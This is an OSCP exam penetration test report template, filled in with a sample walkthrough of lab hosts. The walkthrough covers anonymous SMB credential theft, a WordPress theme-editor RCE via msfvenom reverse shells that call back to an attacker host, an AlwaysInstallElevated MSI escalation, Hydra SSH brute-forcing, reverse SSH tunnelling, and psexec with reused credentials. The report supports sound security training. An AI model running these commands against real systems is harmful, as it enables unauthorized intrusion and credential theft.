OSCP Penetration Test Report

v.2.0

student@youremailaddress.com

OSID: XXXXX

A blue and purple circle with lines in it

Description automatically generated

Copyright © 2023 OffSec Ltd. All rights reserved.

No part of this publication, in whole or in part, may be reproduced, copied, transferred or any other right reserved to its copyright owner, including photocopying and all other copying, any transfer or transmission using any network or other means of communication, any broadcast for distant learning, in any form or by any means such as any information storage, transmission or retrieval system, without prior written permission from OffSec.

[1. OffSec OSCP Exam Penetration Test Report 3](#_gjdgxs)

[1.1 Introduction 3](#_30j0zll)

[1.2 Objective 3](#_1fob9te)

[1.3 Requirements 3](#_3znysh7)

[2. High-Level Summary 4](#_2et92p0)

[2.1 Recommendations 4](#_tyjcwt)

[3. Methodologies 4](#_3dy6vkm)

[3.1 Information Gathering 4](#_1t3h5sf)

[3.2 Service Enumeration 5](#_4d34og8)

[3.3 Penetration 5](#_2s8eyo1)

[3.4 Maintaining Access 5](#_17dp8vu)

[3.5 House Cleaning 5](#_3rdcrjn)

[4. Independent Challenges 7](#_26in1rg)

[4.1 Target #1 – 192.168.232.55 7](#_lnxbz9)

[4.1.1 Service Enumeration 7](#_35nkun2)

[4.1.2 Initial Access – Anonymous SMB share leads to Wordpress RCE 7](#_1ksv4uv)

[5. Active Directory Set 21](#_44sinio)

[5.1 Ajla – 10.4.4.10 21](#_2jxsxqh)

[5.1.1 Initial Access – Password Brute-Forcing 21](#_z337ya)

[5.1.2 Privilege Escalation – Sudo group 22](#_3j2qqm3)

[5.1.3 Post-Exploitation 22](#_1y810tw)

[5.2 Poultry – 10.5.5.20 24](#_4i7ojhp)

[5.2.1 Initial Access – RDP login 24](#_2xcytpi)

[5.2.2 Post-Exploitation 24](#_1ci93xb)

[5.3 DC – 10.5.5.30 25](#_2bn6wsx)

[5.3.1 Initial Access – Remote Commands Execution 25](#_qsh70q)

[5.3.2 Post-Exploitation 26](#_1pxezwc)

# 1. OffSec OSCP Exam Penetration Test Report

## 1.1 Introduction

The OffSec Lab and Exam penetration test report contains all efforts that were conducted in order to pass the OffSec course. This report should contain all items that were used to pass the overall exam and it will be graded from a standpoint of correctness and fullness to all aspects of the exam. The purpose of this report is to ensure that the student has a full understanding of penetration testing methodologies as well as the technical knowledge to pass the qualifications for the OffSec Certified Professional.

## 1.2 Objective

The objective of this assessment is to perform an internal penetration test against the OffSec Lab and Exam network. The student is tasked with following a methodical approach to obtaining access to the objective goals. This test should simulate an actual penetration test and how you would start from beginning to end, including the overall report. An example page has already been created for you in the latter portions of this document that should give you ample information on what is expected to pass this course. Use the sample report as a guideline to get you through the reporting.

## 1.3 Requirements

The student will be required to fill out this penetration testing report fully and to include the following sections:

* Overall High-Level Summary and Recommendations (non-technical)
* Methodology walkthrough and detailed outline of steps taken
* Each finding with included screenshots, walkthrough, sample code, and proof.txt if applicable.
* Any additional items that were not included

# 2. High-Level Summary

John Doe was tasked with performing an internal penetration test towards OffSec Labs. An internal penetration test is a dedicated attack against internally connected systems. The focus of this test is to perform attacks, similar to those of a hacker and attempt to infiltrate OffSec’s internal lab systems – the THINC.local domain. John’s overall objective was to evaluate the network, identify systems, and exploit flaws while reporting the findings back to OffSec.

When performing the internal penetration test, there were several alarming vulnerabilities that were identified on OffSec’s network. When performing the attacks, John was able to gain access to multiple machines, primarily due to outdated patches and poor security configurations. During the testing, John had administrative level access to multiple systems. All systems were successfully exploited and access granted.

## 2.1 Recommendations

John recommends patching the vulnerabilities identified during the testing to ensure that an attacker cannot exploit these systems in the future. One thing to remember is that these systems require frequent patching and once patched, should remain on a regular patch program to protect additional vulnerabilities that are discovered at a later date.

# 3. Methodologies

John utilized a widely adopted approach to performing penetration testing that is effective in testing how well the OffSec Labs and Exam environments are secure. Below is a breakout of how John was able to identify and exploit the variety of systems and includes all individual vulnerabilities found.

## 3.1 Information Gathering

The information gathering portion of a penetration test focuses on identifying the scope of the penetration test. During this penetration test, John was tasked with exploiting the lab and exam network. The specific IP addresses were:

**Exam Network:**

192.168.232.55, 172.16.203.134, 172.16.203.135, 172.16.203.136

## 3.2 Service Enumeration

The service enumeration portion of a penetration test focuses on gathering information about what services are alive on a system or systems. This is valuable for an attacker as it provides detailed information on potential attack vectors into a system. Understanding what applications are running on the system gives an attacker needed information before performing the actual penetration test. In some cases, some ports may not be listed.

## 3.3 Penetration

The penetration testing portions of the assessment focus heavily on gaining access to a variety of systems. During this penetration test, John was able to successfully gain access to 10 out of the 50 systems.

## 3.4 Maintaining Access

Maintaining access to a system is important to us as attackers, ensuring that we can get back into a system after it has been exploited is invaluable. The maintaining access phase of the penetration test focuses on ensuring that once the focused attack has occurred (i.e. a buffer overflow), we have administrative access over the system again. Many exploits may only be exploitable once and we may never be able to get back into a system after we have already performed the exploit.

John added administrator and root level accounts on all systems compromised. In addition to the administrative/root access, a Metasploit meterpreter service was installed on the machine to ensure that additional access could be established.

## 3.5 House Cleaning

The house cleaning portions of the assessment ensures that remnants of the penetration test are removed. Often fragments of tools or user accounts are left on an organizations computer which can cause security issues down the road. Ensuring that we are meticulous and no remnants of our penetration test are left over is important.

After the trophies on both the lab network and exam network were completed, John removed all user accounts and passwords as well as the Meterpreter services installed on the system. OffSec should not have to remove any user accounts or services from the system.

|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| |  |  |  |  |  |  | | --- | --- | --- | --- | --- | --- | | 4. Independent Challenges4.1 Target #1 – 192.168.232.554.1.1 Initial Access – Anonymous SMB share leads to Wordpress RCE **Vulnerability Explanation:** The SMB server is not protected with the password and has some sensitive information like credentials stored. Which leads to RCE from wordpress theme editor.  **Vulnerability Fix:** The SMB should be configured with credentials and guest enumeration should be disabled.  **Severity: Critical**  **Steps to reproduce the attack:** Ran the initial service scan John discovered that this host is called Sehnzi. Smbclient was used to interact on the port 445 to get the passwords.txt file from SMB share shenzi and used those credentials for wordpress admin access. 4.1.1 Service Enumeration **Port Scan Results**   |  |  | | --- | --- | | **IP Address** | **Ports Open** | | 192.168.232.55 | **TCP**: 21, 80, 135, 139, 443, 3306, 49666 |   We run nmap to scan the target and found a few ports open.  └─$ nmap 192.168.232.55 -p- --min-rate 20000  Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-17 10:28 +04  Warning: 192.168.232.55 giving up on port because retransmission cap hit (10).  Nmap scan report for 192.168.232.55  Host is up (0.27s latency).  Not shown: 48865 filtered tcp ports (no-response), 16662 closed tcp ports (conn-refused)  PORT STATE SERVICE  21/tcp open ftp  80/tcp open http  135/tcp open msrpc  139/tcp open netbios-ssn  443/tcp open https  445/tcp open microsoft-ds  3306/tcp open mysql  49665/tcp open unknown  Nmap done: 1 IP address (1 host up) scanned in 173.20 seconds    └─$ nmap -sCV 192.168.232.55    **4.1.2 Initial Access – SMB share to Wordpress RCE**  SMB revlead a ‘Shenzi’ share which was not protected with password and has interesting files for us.  └─$ smbclient -L \\\\192.168.232.55    └─$ smbclient \\\\192.168.232.55\\shenzi  Password for [WORKGROUP\kali]:  Try "help" to get a list of possible commands.  smb: \> ls  . D 0 Thu May 28 19:45:09 2020  .. D 0 Thu May 28 19:45:09 2020  passwords.txt A 894 Thu May 28 19:45:09 2020  readme\_en.txt A 7367 Thu May 28 19:45:09 2020  sess\_klk75u2q4rpgfjs3785h6hpipp A 3879 Thu May 28 19:45:09 2020  why.tmp A 213 Thu May 28 19:45:09 2020  xampp-control.ini A 178 Thu May 28 19:45:09 2020  12941823 blocks of size 4096. 5850488 blocks available  Shenzi share has passwords.txt file, we will download it which can be used for login in wordpress admin account.  └─$ smb: \> get passwords.txt    └─$ cat passwords.txt  From all the password admin:FeltHeadwallWight357 looks interesting, We couldn’t find any interesting directory with our directory busting enumeration using common wordlists, however if use our Share name it revels a wordpress site.  └─$ http://192.168.232.55/shenzi/  We used initially discovered credentials admin:FeltHeadwallWight357 from the SMB share to login into wordpress.  └─$ http://192.168.232.55/shenzi/wp-login.php    After successfully logged in, we'll navigate to Appearance -> Theme Editor -> Theme Twenty Twenty to determine the active website theme. If we select a .php page (such as 404.php) we discover that we can directly edit the page's source code.  http://192.168.232.55/shenzi/wp-admin/theme-editor.php?file=404.php&theme=twentytwenty    We generated meterpreter payload with MSF and updated 404.php code with it to get a RCE .  └─$ msfvenom -p php/meterpreter/reverse\_tcp lhost=192.168.45.154 lport=443 -f raw > shell.php          After updating 404.php file we will visit <http://192.168.232.55/shenzi/wp-content/themes/twentytwenty/404.php> to execute the reverse shell and catch it using multi/handler.    Meanwhile, on our Metasploit console:    Since PHP reverse shells are somewhat unstable, let's upload a more stable shell, which we'll generate with msfvenom and uploading using meterpreter.  └─$ msfvenom -p windows/x64/shell\_reverse\_tcp LHOST=192.168.45.154 LPORT=139 -f exe > shell.exe    On Kali attacking machine:  └─$ sudo nc -lvp 139  On Meterpreter session:  meterpreter > upload shell.exe  meterpreter > execute -f shell.exe      **Local.txt value:**  └─$ whoami && ipconfig && type local.txt    **4.1.3 Privilege Escalation - AlwaysInstallElevated**  We used PowerUp.ps1 to check the low-hanging fruit and found that system is vulnerable to AlwaysInstallElevated. As Microsoft mentioned, This option is equivalent to granting full administrative rights, which can pose a massive security risk. Microsoft strongly discourages the use of this setting.   * <https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1> * <https://learn.microsoft.com/en-us/windows/win32/msi/alwaysinstallelevated>   └─$ python -m http.server 80    └─$ iwr http://192.168.45.154/PowerUp.ps1 -o PowerUp.ps1    We’ll load the PowerUp.ps1 script into powershell and check for any low-hanging fruit.  PS C:\Users\shenzi\Desktop> . .\PowerUp.ps1  PS C:\Users\shenzi\Desktop> Invoke-AllChecks      We can also confirm this vulnerability using manual command as suggested by Microsoft.  URL: <https://learn.microsoft.com/en-us/windows/win32/msi/alwaysinstallelevated>  PS C:\Users\shenzi\Desktop> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer  reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer  HKEY\_LOCAL\_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer  AlwaysInstallElevated REG\_DWORD 0x1  PS C:\Users\shenzi\Desktop> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer  reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer  HKEY\_CURRENT\_USER\SOFTWARE\Policies\Microsoft\Windows\Installer  AlwaysInstallElevated REG\_DWORD 0x1    We’ll generate .msi payload and transfer it to execute on target machine to get elevated shell.  └─$ msfvenom -p windows/x64/shell\_reverse\_tcp LHOST=192.168.45.154 LPORT=445 -f msi > notavirus.msi    └─$ python -m http.server 80    └─$ iwr http://192.168.45.154/notavirus.msi -o notavirus.msi    └─$ PS C:\Users\shenzi\Desktop> msiexec /i notavirus.msi    └─$ sudo nc -lvnp 445    **4.1.4 Post Exploitation**  **Proof.txt value:**  c:\Users\Administrator\Desktop> whoami && ipconfig && type proof.txt |  | | 5. Active Directory Set **Port Scan Results**   |  |  | | --- | --- | | **IP Address** | **Ports Open** | | 10.4.4.10 | **TCP:** 22, 80 | | 10.5.5.20 | **TCP:** 135, 139, 445, 3389 | | 10.5.5.30 | **TCP:** 53, 88, 135, 139, 389, 445, 464, 593, 636, 3268, 3269, 3389 |  5.1 Ajla – 10.4.4.105.1.1 Initial Access – Password Brute-Forcing **Vulnerability Explanation:** The user account on the Ajla host was protected by a trivial password that was cracked within 5 minutes of brute-forcing.  **Vulnerability Fix:** The SSH service should be configured to not accept password-based logins and the user account itself should contain a unique password not contained in the publicly available wordlists.  **Severity: Critical**  **Steps to reproduce the attack:** rom the initial service scan John discovered that this host is called Ajla. After adding the target’s IP to the /etc/hosts file, the Hydra tool was run against the SSH service using the machine’s DNS name instead of its IP. With the extracted password at hand John was able to log in as ajla using SSH.  └─$ hydra -l ajla -P /home/kali/rockyou.txt -T 20 sandbox.local ssh   5.1.2 Privilege Escalation – Sudo group **Vulnerability Explanation:** sudo group allows any user in this group to escalate privileges to the root if they know the user’s password.  **Vulnerability Fix:** The SSH service should be configured to not accept password-based logins and the user account itself should contain a unique password not contained in the publicly available wordlists.  **Severity: Critical**  **Steps to reproduce the attack:** John spotted that the ajla user was a member of the sudo group immediately upon logging in and using the “id” command. And knowing user’s password, he only needed to use a single command “sudo su” in order to obtain a root shell.   5.1.3 Post-Exploitation **System Proof screenshot:**    After collecting the proof files and establishing a backdoor using SSH, John began the enumeration of the filesystem for the presence of interesting files. He noticed that there was a mounted share originating from the 10.5.5.20 IP. Inspecting a custom sysreport.ps1 script in the /mnt/scripts directory he found cleartext credentials for the “sandbox\alex” user. Taking into consideration the type of scripts in this directory and the username structure, it seems that the “Poultry” host is a part of the Active Directory environment.    John began the lateral movement by establishing a reverse dynamic port forwarding using SSH. First, he generated a new pair of SSH keys and added those to the authorized\_keys file on his Kali VM, then he just needed to issue a single SSH port forwarding command:  └─$ ssh-keygen -t rsa -N ‘’ -f ~/.ssh/key  └─$ ssh -f -N -R 1080 -o “UserKnownHostsFile=/dev/null” -o “StrictHostKeyChecking=no” -I key [kali@192.168.119.164](mailto:kali@192.168.119.164)  With the dynamic reverse tunnel established, John only needed to edit the /etc/proxychains.conf to use the port 1080. 5.2 Poultry – 10.5.5.205.2.1 Initial Access – RDP login **Steps to reproduce the attack:** with the credentials at hand and a reverse tunnel established, John connected to an RDP session using proxychains accepting the certificate when prompted and entering the retrieved password afterward.  └─$ proxychains xfreerdp /d:sandbox /u:alex /v:10.5.5.20 +clipboard 5.2.2 Post-Exploitation **Local Proof Screenshot:**    John noticed the presence of the Thunderbird program on the user’s desktop, and while checking Alex’s inbox he found the email from a local administrator Roger: 5.3 DC – 10.5.5.305.3.1 Initial Access – Remote Commands Execution **Steps to reproduce the attack:** John was able to reuse a temporary password that the administrator left for Alex.  └─$ proxychains python3 /usr/share/doc/python3-impacket/examples/psexec.py admin:[UWyBGeTp3Bhw7f@10.5.5.30](mailto:UWyBGeTp3Bhw7f@10.5.5.30)   5.3.2 Post-Exploitation **System Proof Screenshot:** | | |  |